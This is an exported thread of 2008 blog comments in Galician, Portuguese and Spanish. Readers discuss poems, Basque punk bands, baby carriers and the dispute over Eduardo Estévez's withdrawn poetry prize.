Muito obrigado. Espalharei todo quanto puder o seu calendário entre os sócios da Associação Galega Corredor do Henares (Alcalá de Henares ? Madrí) da que sou Vice-Presidente.
Um abraço
André
----- COMMENT: AUTHOR: paideleo [Visitante] DATE: Thu, 04 Dec 2008 23:57:51 +0000 URL: http://leoeosseus.blogspot.com/Gustoume !.
----- COMMENT: AUTHOR: Eduardo [Visitante] DATE: Mon, 01 Dec 2008 20:24:15 +0000 URL: http://corrienteroja.netOlá, Igor.
Andrea, a minha sobrinha, tem que fazer un trabalho para a clase de galego: escribir un conto.
Falei con ela da historia de Burbur, que eu conhecí por tu poema, e vai facer un conto sobre o derradeiro falante de galego num pobo do Berzo (Vilar de Corrais) e a similitude da sua historia coa de Antonio Udina.
Se podo envíote-la pra correxir-la.
Apertos.
Disto falouse brevemente en Mariñán. Eu lembrei unha frase de Ferrín: cando lle preguntaron que era para el literatura comprometida e dixo que Jon Juaristi (citei entón e cito agora de memoria). Como dis no inicio, o verdadeiro compromiso dos nosos tempos é o de que escribe (compón, etc…) para que todo siga igual e atendendo os intereses dos empresarios e dos poderes estabelecidos.
Do resto, confeso que estou matizando cada vez máis unha postura non exactamente coincidente. Dende que lin “As regras da Arte” de Bourdieu confírmome na miña noción de que a “arte pola arte” é unha noción que ten unha raigame profundamente burguesa, e que o artista é un ser autónomo e crítico cando non depende deses poderes para comer, (e cando pode comer).
Naturalemente o que fan asociacións como a SAGE, e en menor medida CERDO (que leva un camiño ultimamente que enfín, xa falaches ti disto) non é máis que unha explotación do traballo dos outros. Se se quere, un xeito moderno de plusvalía, por non falar do lucro/estafa que supón seguir cobrando inxustamente por obras de persoas que xa non se poden beneficiar delas. Como lin algunha vez nun debate en Diagonal, o que faría falta sería crear un sindicato (e unha internacional) de creadores, que poida xestionar directamente e dunha forma xusta (socialista) as retribucións. Iso ten sentido dentro dunha sociedade que se acompase a esa mesma idea, claro.
Dentro diso, tamén non me avergoño d@s obreir@s da miña familia que traballaron facendo barcos de guerra mentres loitaron nas rúas contra a guerra e a opresión. Só me avergoño daqueles que non fixeron isto último. (E tendo en conta o inxusta e demagóxica que pode ser esta metáfora para un sistema pequeno que, coma o noso, non dá beneficios, ou non os suficientes para subsistir del).
Quería falar hai tempo da “literatura comprometida", aver se che aproveito este pé.
Non puiden ir ao da Gentalha, pero síntome algo mellor ao ver hoxe que ti tamén non puideches. Agardo que polo menos aproveitases para facer algo de esquí. ;-) Irei de todos xeitos a ver a expo un día destes. Unha aperta.
PD: Tamén é moi interesante a última entrevista a Muguruza no Diagonal, onde di, entre outras cousas que SAGE non, pero que CC tamén non, que o camiño é a autoxestión do traballo artístico. Penso que é unha perspectiva un tanto errada, ou ben que algún dos dous (Muguruza ou eu) non entendeu ben as múltiples variantes do CC.
PPD: o de mudar os nome é para despistar aos buscapleitos de tan ilustre asociación.
----- COMMENT: AUTHOR: igor [Membro] DATE: Wed, 26 Nov 2008 17:28:21 +0000 URL:…susórdeneh, ghefa!
----- COMMENT: AUTHOR: estibaliz... [Visitante] DATE: Wed, 26 Nov 2008 17:21:49 +0000 URL: http://www.estibalizes.wordpress.comGrazas a vós, espartanos. Coa vosa disciplina, 300 foron moito máis ca 300.
[Comentarios]
lindíssimo poema! lindíssimo, mesmo!
Visite meu blog: “Poemas de amor-paixão-sedução":
http://silviamotapoeta.blogspot.com
Ou, se preferir, visite meu site na área do Direito:
htp://www.silviamota.com.br
Abraços.
Sílvia Mota.
Muito obrigado, Séchu.
Envio um correio com o meu endereço terrenal.
ola, igor, pois acabo de atopar o autocolante do artefacto burbur, que tivem num corcho desde aquela até hai uns meses. assi que envia-me um correo ao meu email com o teu endereço, que se me estropeou o escáner, e já cho mando polo aire.
saúde!
----- COMMENT: AUTHOR: séchu [Visitante] DATE: Thu, 13 Nov 2008 12:19:22 +0000 URL: http://blogoteca.com/madeingalizaparabéns!
um dos meus poemas preferidos do mundo mundial!
;)
Eu estudei cinema durante dois semestres em Roma e fiquei apaixonadíssima pela música e pelo resto da cultura italiana! É incrível como aqueles caras têm uma cultura invejável, ainda que passem um pouco despercebidos no meio da produção intelectual europeia… Para todos os interessados na música de Itália, aqui fica uma rádio bem bacana:
http://cotonete.clix.pt/ouvir/radios/tematica.aspx?id=99
Celebro que lle guste Capossela. Un crack.
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Wed, 05 Nov 2008 03:34:37 +0000 URL: http://oportodosescravos.blogspot.comAdemais todos sabemos que Martin Luther King era un brando, e que o máis parecido á esquerda que tiveron por aló foron as Panteras Negras e os seus ilustres precedentes.
----- COMMENT: AUTHOR: Gabriel - ボーちゃん [Visitante] DATE: Sun, 19 Oct 2008 10:48:22 +0000 URL:Grandíssimo grupo!
Oxalá vinhessem à Galiza!
Xa teño penduradas na parede as tuas plegarias!, encántame.
Seguímosche a pista Igor, Apertas Cangueiras..
t.
Já se sabe: tempos melhores ou destruçom. Comunismo ou Caos.
E a ceia da SCAPA?
----- COMMENT: AUTHOR: Mediopelo [Visitante] DATE: Tue, 14 Oct 2008 07:49:04 +0000 URL:Este é o signo dos tempos.
Xa o dicía (permita-se-me unha cita en castelán) Góngora:
“Todo se vende hoy en día,
todo el dinero lo iguala,
la corte vende su gala,
la guerra, su valentía.
Hasta la sabiduría
vende la Universidad…”
Co que non contaba Góngora é con que a arte e os seus fetiches fosen a mercancía mais codiciada 350 anos despois…
Mas todo ten un límite: virán tempos mellores, ou non virá nada mais que a destrución.
mira ti, que australiánidos os dous!
Ao Aldam véselle no sétimo ceo. Considerando que só haxa sete.
Bicas a esgalla
----- COMMENT: AUTHOR: igor [Membro] DATE: Thu, 09 Oct 2008 14:05:47 +0000 URL:Cabaleiro: crea-me que leo e re-leo com atençom, e nom atopo o motivo para ter que pedir desculpas. De todas as formas, isso de andar a dizer-lhe aos demais que tenhem que pedir desculpas… nem sei! Parece-me um pouco ráncio.
Saúdos.
Lean todos vostedes esta entrevista con Eduardo Estévez e comecen a pedir desculpas:
http://www.entrebuhistas.com/2006/10/29/eduardo-estevez/
----- COMMENT: AUTHOR: séchu [Visitante] DATE: Sun, 05 Oct 2008 19:22:25 +0000 URL:pois a ver se nom passa como quando salvaterra, que ao final nada, nem me puidem achegar,
estuo indo ao courel e de veras que gostaria achegar-me entrando por oéncia, santo tirso…, até aí.
a ver quando pode ser…
bikos, igor.
Sechu: parabens ghrandes, ghrandes!!!
Umha nova estrela para guiar o caminho!
Já sabedes onde estamos para o que precisedes.
Viredes polo Bierzo?
Bicos.
ola, igor,
assi dá ghusto!
apunto-me ao canguru, que ai para março nace-nos o marsupial,
vai ser Estrela.
um beijinho para Aldam, Xende e Noe.
e para tu!
Entenrecedora foto,entenrecedora escrita….¡Como te envexo!…Mágoa que eu no fora quen de ter a sabencia de facerme unha dese xeito…. Bicos para os catro.
----- COMMENT: AUTHOR: igor [Membro] DATE: Fri, 03 Oct 2008 16:14:03 +0000 URL:Caro Barom: a verdade é que a minha lembrança daquele dia, inclue-o a vostede. Lembro-me andar de cervejas, e falando da *putada (perdom pola expressom machista) que era a disoluçom de Kortatu. Mas tem razom: o bom foi que a disoluçom abriu a porta para a apariçom de Negu Gorriak…
E falando doutras cousas: para quando essa ceia da SCAPA?
Pois eu non lembro onde estaba aquel día; mas, probabelmente, estaria emborrachando-me contigo (se caeu en venres ou sábado).
O bo da disolución de Kortatu é que deu paso a eso outro fenómeno chamado Negu Gorriak (o outro dia, no Campo das Hortas, o Barón puido escoitar a un neno dicir: “non cruzo, que o semáforo está gorria". Será o bibligüismo harmónico, que o temos que importar de Euzkadi?)
Tenho que ver, arume, tenho. As suas filhas som as minhas sobrinhas, e os meus filhos som os seus sobrinhos. Ademais, a minha mae e a sua venhem-lhe sendo a mesma pessoa. Vaia… que somos irmaus.
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Thu, 02 Oct 2008 20:37:44 +0000 URL: http://oportodosescravos.blogspot.comNon consinto que poñades en dúbida a miña precocidade!!!
É certo, estaba no colexio, iso pásame porque me teño conceptualizado máis vello do que son. En calquera caso a Kortatu descubrinos nos primeiros anos da universidade, xunto a Negu Gorriak, que aínda non fixera o seu concerto final pero xa estaban oficialmente disoltos.
Non terá vostede que ver cun tal Alberto (Álvarez Lugrís) que anda polos vigos. Se é así, saberei darlle novas súas.
…o 1 de Outubro de 1988? Pois, provavelmente, apurando os últimos dias de férias no liceu…
----- COMMENT: AUTHOR: igor [Membro] DATE: Thu, 02 Oct 2008 14:36:12 +0000 URL:Mario, no ano 88 estavas “comezando a universidade"? Ou estam mal as tuas biografias (que che dam por nascido no ano 79), ou eras um neno precoz, ou, definitivamente, nom estudavas matemáticas, nom? :)
Já lhe tomaremos umhas canhas, analógicas, por suposto.
Por certo, que no porto só servimos licorcafé virtual, pero se algún día pasas perto das galerías e che apetecen unhas cañas analóxicas pégame un asubío.
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Thu, 02 Oct 2008 13:04:04 +0000 URL: http://oportodosescravos.blogspot.comPenso que comezando a universidade e poñéndome ao día de determinadas cousas. Penso que non me decatei do Azken Guda Dantza, e iso que debe ser un dos discos que máis escoitei na miña vida. Dalgún xeito son moito máis consciente do comezo de Negu Gorriak. Ben, naquela época a rede estaba abrollando e a música seguía a ser un ben relativamente elitista. Estou desxando facerme co novo de Muguruza!!!
----- COMMENT: AUTHOR: arume dos piñeiros [Visitante] DATE: Wed, 01 Oct 2008 17:23:10 +0000 URL: http://arumes.blogspot.comEn Outono o Bierzo non ten nada que envexar á propia Toscana.
Nado en Ponferrada: da rúa Ramón y Cajal, barrio de san Ignacio, por máis señas.
É umha craque, é, tangaranho.
Arume dos pinheiros, que surpresa. Desconhecia que vostede era de Ponferrada. Saúdos, das suas terras, portanto. Hoje, com um sol de outono que presagia umha boa próxima fim de semana de vendima. E já a pensar nas castanhas!
Tangaranho: efectivamente. Às vezes até com as melhores das intençons, complicamo-nos e fazemos difíceis as cousas fáceis. O fular, é mais simples, agradável e cómodo que as “mochilas das tendas de bebés". Só que essas mochilas, entre outras cousas, contam com muita mais publicidade, e quando procuramos umha alternativa ao “carrinho” caemos nelas.
Nohemí: obrigado a vos. Red Canguro, os seus vídeos, as suas explicaçons, som umha ajuda para muitas maes, e também para alguns pais.
Os de Ponferrada somos así.
----- COMMENT: AUTHOR: Nohemí [Visitante] DATE: Wed, 01 Oct 2008 10:48:57 +0000 URL: http://mimosytta.wordpress.com¡Qué linda foto!
Gracias por ayudar a fomentar el uso de portabebés. Desde la Red Canguro nos encanta ver bebés felices en brazos de sus papás :-)
Un saludo desde España
às vezes, o singelo está melhor pensado do que o sofisticado…
----- COMMENT: AUTHOR: tangaranho [Visitante] DATE: Wed, 01 Oct 2008 10:32:34 +0000 URL: http://www.tangaranhovermelho.blogspot.comDesde logo esta Sarai, é-che umha craque….
----- COMMENT: AUTHOR: igor [Membro] DATE: Tue, 30 Sep 2008 13:11:49 +0000 URL:É, ptolo, é.
Corrigido. Obrigado. Saúdos.
“Praço"? Não será antes “Prazo"? Abraço
----- COMMENT: AUTHOR: igor [Membro] DATE: Mon, 29 Sep 2008 20:37:19 +0000 URL:Isto parece que acaba, mas nom remata. Sigue a ser tratado em blogues o tema. Aqui vam uns quantos mais:
En Construción sigue sumando também ligaçons e saúdos; Lándoa fala de qualidades literárias e de debates e consideraçons; Trasalba também trata a questom palpitante; Alicia crece mentres nos explica como se desacreditam os prémios; na Selva de Esmelle descobrimos umhas conclusons selváticas, com adaptaçom para distintos níveis; e Xosi explica-nos o tema das picotas, os blogues e a poesia.
Em fim… isto promente mais e mais entradas.
E isso que já passarom quase sete dias, sete, da primeira notícia na realidade virtual. E isso, em verdade, na rede é quase umha eternidade.
Igor, no pude publicar donde el video de la Cardone gracias por indicarmelo, no sólo la teta es revolucionaria, si no que usa un portabebé tradicional, doble alegría para mí :)Se lo voy a mostrar a unas amigas…
La canción ya la conocía, me encanta la voz de Natalie Cardone, pero el video no lo había visto nunca,
Una vez más, gracias…
Besiños
----- COMMENT: AUTHOR: igor [Membro] DATE: Mon, 29 Sep 2008 16:08:27 +0000 URL:Patricia: obrigado pola tua visita. A ver se gostas também do vídeo que sai no post “A teta é revolucionária": Natalia Cardone cantando o “Até sempre, Comandante".
Beijos.
Gracias por descubrirme esta rumba tan linda, te la copié para mi blog ;-)
Besiños
Orensano:
penso que nom a provache bem. A água de Mondariz, nom sabe, ou melhor dito: sabe mal, nom sabe bem. E, para além disso, parece que também nom sabe falar bem…
Água da bilha, ou das fontes naturais do nosso país, essa sim que é água boa!
Agua de Mondariz = Moito Boa
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Sat, 27 Sep 2008 22:26:41 +0000 URL: http://oportodosescravos.blogspot.comGrandes grandes grandes os Vozes na Luta. E tamén o José Mário. Sabes que tiven a sorte de coñecelo cando o Leo tocou con el en Coimbra, e mesmo presenciar o reencontro con Miro Casabella, tantos anos despois?
----- COMMENT: AUTHOR: Ronsel [Visitante] DATE: Sat, 27 Sep 2008 20:40:39 +0000 URL:Lama fixo moi ben en recorrer e se sabiades doutras trapalladas polo estilo, aínda que nonn fosen tan evidentes por deixar probas escritas como aconteceu agora co blog, deberadelas denunciar no seu momento. E se non o fixestes estades facendo deixación dos vosos deberes cívicos” e consentindo con tanta trapallada (sobr(Sobre esta deixación dos deberes cívicos a que estamos tan afeitos hai un artigo de Argullol o ´no País de hoxe.
E vexo que se fala moito de se era inédito ou non pero fálase pouco de que ía prácticamente asinado. E dicir que cumpriu a norma porque o presentou cunha plica e un pseudónimo é unha ironía.
Por certo, gustaríame oír algún membro do xurado que é especialmente activo na rede a ver se o coñecía ou non.
Ainda mais umha: Besbe nos seus Beliscos Pequenos Beliscos Pequenos.
Mais blogues que tratam o tema. Já alguém di por aí que isto é como o fantasma que percorre europa, mas percorrendo blogues.
Podedes ver os prémios em destruçom de Chove em ningures; a comparativa entre poesia e ciclismo nos Croques; o realmente importante no blogue de L&M; a advertência para nom confundir cum falho do Olho da Vaca; e a carta abierta a, e em apoio de, X.Lama de Nubosidade Variábel.
Haverá mais blogues, seguro, que sigam a tratar o tema. Mas nem sei se seguirei tendo humor e ganhas de recolhé-los nestes comentários.
Dim as bases, esses sacrosantos textos aos que há que ater-se ponto por ponto: “As deliberacións (do juri) serán secretas” . Como sabe X.Lama que a votaçom foi de 3 a 2? Nom, o resto dos mortais nom tivemos acceso a essa informaçom.
E umha outra anotaçom: Porque ao tirar-lhe o prémio ao Eduardo, decidem dar-lho ao X.Lama como se este tivera conseguido o segundo prémio?
A resposta, penso eu, pode estar no ponto sétimo das bases: “Non se devolverán as obras presentadas non premiadas, e a partir do día seguinte ao da decisión do xurado serán destruidas". Quer-se dizer, que quando chega a reclamaçom de X.Lama, penso que ele próprio afirma que três dias depois, o juri já nom conserva o resto dos poemários que participarom no certame. E se os conservavam, estavam saltando-se as bases! E se o accesit também nom é um prémio, o poemário de X.Lama também tivo que ser destruido. Portanto: DECIDIROM DAR-LHE O PRÉMIO A X.LAMA SER RELER O SEU POEMÁRIO. Nem o seu nem nengum outro, posto que todos foram destruidos. Entendo eu agora porque a opiniom do asesor jurídico foi fundamental. Para tomar umha decissom literária, já nom tinham material. Só posuiam um escrito para decidir: a reclamaçom de X.Lama.
Estrambótico!
Ainda mais: a resposta de X.Lama no bar do Jaureguizar, a muit atinada e acertada resposta d’O Levantador de Minas à resposta de X.Lama, umha asesória jurídica em Alfaias, , e umha reflexom sobre justiça poética na Apocalipse do porco.
Ainda sigue dando isto mais de si. Novas análises, novos comentários, novos post nos blogues. A Casatlántica, recunca; Alfaias sigue pola via jurídica, depois da aberraçom de onte sobre o asesor jurídico da deputaçom que apareceu na Voz; e o Porto dos Escravos reflexiona sobre a República das Letras.
Eduardo anuncia que o livro sairá em Positivas, e isso é possitivo; e todo parece indicar que o Encontro de Novas/os Escritores/as dará para debatir e reflexionar, também sobre isto, intensamente.
E umha estupenda e evidente evidência, em Dedos como vermes.
Efectivamente, Bouzafria, Guillermo deu-me aulas, se nom lembro mal em COU (mas puido ser também em 3º de BUP, passam os anos e algumhas cousas vam-se esquecendo…).
Precisamente no The Put Night, tinhamos umha secçom, “Frases Célebres", onde recolhiamos frases dos e das profes um pouco tontas, estúpidas, raras… ou sacadas de contexto. De Guillermo, temos três, nada mais que três, nesse número:
-"No lo explico que nom me apetece".
- “Yo llego cuando llego".
- “Yo lo que hago es el tonto. Realmente es lo que me gusta y es mi vocación".
Era umha grande pessoa Guillermo, um bom profe, e para mim, a sua melho frase foi aquela que nos soltou um dia na aula:
-"Piense lo que piense Antolin Sánchez Presedo, hoy voy a explicar los estoicos!".
Alguém lembra quem foi o Antolín esse? Mas Guillermo ainda o temos na memória.
----- COMMENT: AUTHOR: bouzafria [Visitante] DATE: Thu, 25 Sep 2008 22:46:08 +0000 URL: http://bouzafria.blogspot.comEntón,daquela, fuches alumno de Guillermo Domínguez?
----- COMMENT: AUTHOR: igor [Membro] DATE: Thu, 25 Sep 2008 14:59:26 +0000 URL:Choriminha: o que hoje publica a Voz já é para rematar a faena. “Umha decissom mais jurídica que literária", desculpam-se do juri… Espectacular! É que nom sabiam que estavam aí para tomar umha decissom literária? Quem lhes obrigou a actuar de avogados?
Que falta de dignidade, de valentia e de capacidade!
Que podiam ter acabado num julgado? Eu som membro dum juri e um “asesor” di-me umha cousa assim e nom tenho dúvida nengumha: ratifico a primeira decissom e aposto por ir ao julgado se assim o decide a pessoa que impugna!
Isto cheira mais cada vez que vamos sabendo cousas novas de todo este esperpento… Algumha cousa cheira a podre!
a ninguém lhe molesta que se amedrente um júri? vergonhentas as razons “literarias” ou “filológicas” que recolhe hoje a Voz:
Un asesor xurídico da Deputación coruñesa acompañou en todo momento aos membros do xurado e «indicounos que se rexeitabamos a impugnación que presentou o finalista o asunto acabaría nun xulgado, que sería o que tomara a decisión final».
----- COMMENT: AUTHOR: igor [Membro] DATE: Thu, 25 Sep 2008 06:09:01 +0000 URL:Xavier, tes razom. O que precisamos é mais poesia e menos prémios. Mas, desafortunadamente para nós, para todos e todas nosoutras, existem muitas poucas possibilidades de publicar um livro de poesia numha editorial convencional e “séria", se nom é por meio dum prémio de poesia. É certo também que existem outras vias e outros meios, e que a rede e a distribuiçom nom comercial som vias a explorar, como estam a fazer algumhas pessoas, mas por agora ainda som escasas as iniciativas neste sentido. Todo chegará!
Brangaene, estou contigo. Os encontros de escritores/as novos/as (e já nom tam novas/os), desta fim de semana, organizados pola AELG, som umha perfeita oportunidade para debatir sobre isto (sobre o asunto-eduardo-estévez, mas também o asunto-arsénio-iglésias, e outros), e intentar chegar a umha postura comum e pública.
E traio aqui as reacçons à decissom do juri que hoje publica o Galicia-Hoxe, com opinions de S. Jaureguizar, Camilo Franco, Román Raña, Francisco Castro e de quem isto escreve.
propoño facer circular pola rede un manifesto a asinar para nos posicionar sobre o asunto de Eduardo Estévez. non é unha cuestión xeracional, como se anda a comentar. a decisión de retirarlle o premio é indubidablemente ultra-rancia e marca un fito. coido que dentro de anos, na historia da literatura galega, se falará do “asunto-Eduardo-Estévez” como unha crise que obrigou a unha fonda reflexion a varias xeracións de escritores galegos
----- COMMENT: AUTHOR: igor [Membro] DATE: Wed, 24 Sep 2008 19:43:20 +0000 URL:Ainda dous blogues mais que falam do tema: Alfaias, e A Canción do Náufrago. E também podedes ler a análise que Marcos S. Pérez fai em Vieros: “Un blog é un libro? Abrese o debate“, e no que se recolhem opinions de diversos/as autoras/es e ligaçons a vários blogues.
Recolho umha das opinions recolhidas nesta análise de vieiros.com, de Marcos S. Calveiro: “Que queren, que non publiquemos blogs? Que non falemos dos procesos de creación? Que sexamos uns kafka ou uns pessoa, pechados na casa todo o día, escribindo".
Diga o que se diga, retirar-lhe o prémio a Eduardo Estévez sobre uma falsidade (o poemário é inédito porque não foi publicado integramente e na sua versão final quer na rede, quer em papel) é um roubo e uma manipulação que dá vergonha.
Que República das Letras é esta? Não será que temos uma Ditadura das Letras ou pequenas ditocracias literárias?
Saúde, mais poesia e menos prémios.
----- COMMENT: AUTHOR: igor [Membro] DATE: Wed, 24 Sep 2008 16:52:50 +0000 URL:Ainda mais blogues nos que se fala do tema. Podedes ver novas anotaçons n’O levantador de minas, e ainda nas Brétemas de Manuel Bragado, nos Fragmentos da galaxia de J.L. Blanco Valdés, a Casatlántica de Maria Lado,…
E, por muito que miro, nos blogues nom vejo mais que críticas à decissom do juri. Com matizes, com diferências, de diversas perspectivas, mas posturas críticas. Muitos apoios à decissom do juri nom se vem nos blogues. E à postura e actuaçom de X.Lama ainda menos.
Sim, é certo, nos comentários de alguns meios, por exemplo em vieiros, podem-se ver posturas favoráveis ao proceder do juri ou ao X.Lama, mas som as menos. E isso nom significa mais nada quê o quê significa: que entre os blogueiros, as posturas estam maioritariamente, muito maioritariamente, com Eduardo.
Amanha, quinta-feira, parece que sai no Galicia-Hoxe umha notícia sobre o tema onde se recolhem as opinions de diversas pessoas mais ou menos relacionadas com o mundo literário. A ver que se di ali.
ojalá estejas errado igor e este debate seja por fim sério e deixem de passar estas trapalhadas neste pais!
----- COMMENT: AUTHOR: igor [Membro] DATE: Wed, 24 Sep 2008 06:08:57 +0000 URL:Podedes ver a notícia no Galicia-Hoxe, na Voz de Galicia e em Vieiros.
Vários blogues recolhem também a notícia: O levantador de minas, Made in Galiza, Cabaret Voltaire, Ferradura en tránsito, Lándoa, Projecto Q,… Imagino que ainda haverá mais que nestes momentos eu ainda nom vim.
A notícia, ao meu parecer, vai-se convertir num pequeno escándalo, e, como sempre nos ocurre, num ínfimo debate. Oxalá esteja errado.
Leo hoje no galicia-hoxe:
“Xavier Lama recibiu con satisfación a noticia e, malia estas “estrañas circunstancias", dixo sentirse “reconfortado por gañar un premio coma o González Garcés nun ano no que tamén tiven o Premio Esquío".
Este homem ainda nom se decatou de que nom ganhou o prémio? De que foi finalista? De que lhe vam dar o prémio precisamente por nom tê-lo ganhado?
Que país…
outra de hipocrisia:
Eduardo Estevez e o premio Gonzalez Garcés
Demasiadas veces perdemos o noso tempo ollando para os de fóra e indignándonos por palabras no aire que pronuncian persoas como Steiner, deixamos correr os días en disputas decimonónicas en vez de mirar para dentro, para nós mesmos. E seguiremos así porque é a nosa natureza minifundiaria de matar ao próximo.
Asistimos, mais uma vez, a unha vella reclamación da denominada xeración dos 90: a renovación das formas, dos contidos, e novos espazos para a poesía. E asistimos, mais unha vez, á oposición dos centros literarios que temen morrer a mans dos fillos.
Eduardo Estevez incorpora, en xaneiro de 2006, unha tradición, amplamente desenvolvida noutras literaturas, á nosa: a participación do lector nos procesos de producción. Abre un dos primeiros blogs no noso eido cultural con esta temática. Grazas a el puidemos achegar os nosos comentarios, alterar liñas enteiras dos poemas ou propor ideas. Precisamente, esta innovación literaria é o argumento central polo que agora se lle retira o XIV Premio de Poesía Miguel Gonzalez Garcés.
Se, desde o ponto de vista filolóxico, é inadmisíbel confundir proceso poético de producción con obra ou produto final, desde o punto de vista do receptor non cabe máis do que pensar que sempre seremos unha literatura minifundista baseada no escurantismo. Por que? Pois porque se unha serie de persoas especializadas en litertura se deixan influir polas leas do sistema ata o punto de rexeitar os propios principios da escrita, que nos queda?
A poesía como xénero non é unha insipiración das musas senón o froito dun traballo de anos e anos, de longas sesións de correccións nas que unha coma ou un punto cambian completamente o significado do verso, na que un acento varía a métrica, na que unha grave altera a rima… se son os propios xurados e especialistas da literatura os que confunden o proceso poético co producto, se son eles mesmos quen negan o seu propio traballo formado e especializado afirmando que un bosquexo inicial é o mesmo do que unha obra editada, que nos queda?
Moi sinxelo: unha literatura que non se recoñece a si mesma co rango de producción especializada, un oficio sen rigor. Un escritor non é máis do que un instrumento dos deuses que non precisa ter unha formación que distinga elementos tan básicos como obra e rascuño, o escritor é aquel que decide o que o lector debe recibir…
Pois como lectora, como filóloga, négome a que me prohiban incluir os recursos da miña época na escrita (internet, os blogs,…), como lectora desexo unha formación literaria axeitada de aqueles aos que lles axudo a reclamar os seus dereitos de autor (os dereitos conlevan deberes) e como lectora expreso a miña indignación ante aqueles que prefiren gañar nos despachos o que non son capaces de gañar coa súa obra ainda que sexa a custa dun compañeiro de profesión.
Que nos queda? o minifundio literario.
Conseguir recuperar o post, mas nom assim os comentários. Muito obrigado à equipa do PGL, e especialmente ao Vitor. E desculpas ao Barom e a Maria que escreveram comentários neste post.
Por estes mistérios da informática, venho de descobrir que também perdim um bom número de comentários em post anteriores. Nem sei se poderei recuperá-los. Solicito desculpas às pessoas implicadas.
Juapo, juapo,juapo!!!!!!!!!!!!!!!!!!!!!!!!!
----- COMMENT: AUTHOR: Mediopelo [Visitante] DATE: Thu, 31 Jul 2008 17:26:08 +0000 URL:Meu, como é o mundo. Ali estaba o Barón, para dar testemuña da expectación que levantou o corto na Illa. Tanta, que apenas se escoitaban os “diálogos".
Interesante debate o que se montou despois (non na sá, senón na cea): unha obra aberta á interpretación. O Barón non tivo o pracer de discutir co director directamente (estaban demasiado bébedos os dous, é o que ten o Con do Moucho; e non se coñecen), mais si con Chelo e os seus achegados.
Persoalmente, ao Barón sorprendeu-lle o final, aínda non sabe se para ben ou para mal. Iso é un bó sinal.
Artista Multidisciplinar: esta mensagem chegou, e chegou bem.
Às vezes dá problemas este serviço de comentários. Mas polo teu galego nom é. Vejo que perseverás nel, e isso está mui bem. Muito obrigado pola visita. ;)
hola
pero qué cativo mais fermoso si e como o pai,mais parece unha figuriña que tiña a miña aboa na sua casa fae tempo¡
a veces intento deixarte unha mensage en o teu blog e cando teño todo escrito eno meu galego de merda vai e me din que hay un erro e non me deixa,qué merda
aver si esta vez
bicos e aapertas do Artista Multidisciplinar
Corrigido!
Muito obrigado, Ptolo!
tens o primeiro parágrafo repetido. abraço!
----- COMMENT: AUTHOR: igor [Membro] DATE: Wed, 23 Jul 2008 14:18:47 +0000 URL:Obrigado, Demo.
Bruno, o espectacular espectáculo chegará a Ponferrada, chegará. Só temos que aguardar… Já verás.
Concha, muito boa a ideia. Vai ser umha das cançons deste verao em todas as disco-tascas. Deverias madnar-lhe a ideia ao Xurxo Souto, ou gravá-la para o Apologhit ;)
Adoro a série das PARANHOIAS…
E como ficaria aquela que diz:
La paranhoia
La paranhoia
já não pode caminhar…
porque lhe falta porque lhe falta…
uma Língua mais global…
Non podo perderme o espectaculo
ten unha pinta estupenda
vai vir a Ponferrada? a o Auditorio o a o teatro Bergidum?mantenme informado eu so por ver a esa gran homme que e Iker Casillas fago calquera cousa¡
bicos e apertas
a voz de estibaliz espinosa no video é o melhor e o texto non é dela e das maribolheras
bicos
Gosto muito desta série de “paranhoias”
----- COMMENT: AUTHOR: manuel [Membro] DATE: Tue, 08 Jul 2008 10:53:26 +0000 URL: https://www.rtp.pt/play/direto/antena1fadoAtão, cumpádris, um intelectuáli é quem leva cacete pra dar cacetadas? Ah! Nã sabia. Brigado.
----- COMMENT: AUTHOR: Carvalhais [Visitante] DATE: Mon, 07 Jul 2008 23:34:40 +0000 URL: http://memoriasdumesquelete.blogspot.comJá nom é a primeira vez que entro neste blogue, cada dia umha grata surpresa. Parabéns!
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Sun, 06 Jul 2008 13:27:10 +0000 URL: http://oportodosescravos.blogspot.comEste ten o seu ponto freak, pero penso que é mesmo mellor que o outro. Case escacho coa risa.
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Fri, 04 Jul 2008 17:48:26 +0000 URL: http://oportodosescravos.blogspot.comXenial, meu, en canto teña un anaco falarei do tema e empregarei a imaxe.
----- COMMENT: AUTHOR: Concha Rousia [Visitante] DATE: Fri, 04 Jul 2008 16:14:35 +0000 URL: http://rousia.hi5.comIgor, caro
Como sempre genial…!
Abraço
Eu sempre fun moi seguidor dos 1226, tou desexando escoitar esa versión ao vivo da Carolina!!!
----- COMMENT: AUTHOR: Mediopelo [Visitante] DATE: Thu, 19 Jun 2008 15:17:34 +0000 URL:Non te equivoques, meu. A selección espanola de fútebol e o pior aliado do nacionalismo espanhol. A min caen-me ben porque nunca ganhan…
----- COMMENT: AUTHOR: leandro [Visitante] DATE: Tue, 17 Jun 2008 10:09:20 +0000 URL: http://leandrolamas.blogspot.com/parabéns!
e obrigado por ponher o enlace…
agradeceria-che, tambem, se me enviaras fotos dos quadros que tes…nom lembro quais eram e estou tentando recuperar imagems de todos os filhos que se forom da casa…
hola
mira qué coincidencia que tí tamén tes Cliks en o teu blog,perdoa meu galego non e moi bo pero fago o que podo¡
graciñas por votarme unha man con a miña expo,ecántame o cartel e as invitacions
seguimos en contacto
unha aperta forte
Vaia…
O pintor mais célebre da minha família nom as queimava: pintava-as.
Mas também parece ser que pintou algumha cousa para o Azor (que se lhe vai fazer… nengumha família é perfeita).
Que podo dicir? A única Igrexa que ilumina é a que arde. Por certo que o represaliado máis célebre da miña familia mandárono á morte acusado precisamente diso, de queimar unha igrexa.
----- COMMENT: AUTHOR: O_Fartura [Visitante] DATE: Thu, 05 Jun 2008 11:13:34 +0000 URL: http://singraduradarelinga.blogspot.com/Sí.
Creo recordar que fora un recital de poesía na Casa da Sociedade de Esteiro cun trasfondo antimilitarista ou no marco dalgunha outra causa social. Xa case eu non me acordo e tí mira.
Veña Igor, é un pracer atoparte na rede e leer OVNIS E ISOGLOSAS.
Un saúdo.
----- COMMENT: AUTHOR: igor [Membro] DATE: Thu, 05 Jun 2008 10:31:46 +0000 URL:Já me dou conta, Moncho. Sim.
Ainda mais: lembro um recital de poesia, mas nom lembro bem onde, que tu organizaras, e onde estavamos eu, o Rafa Villar, e alguns mais. Pode ser?
Saudaçons.
Ola Igor:
Nun comentario anterior que fixen no teu blogue dixérache que posiblemente me coñezas.
Vou darche pistas, que considero suficientes.
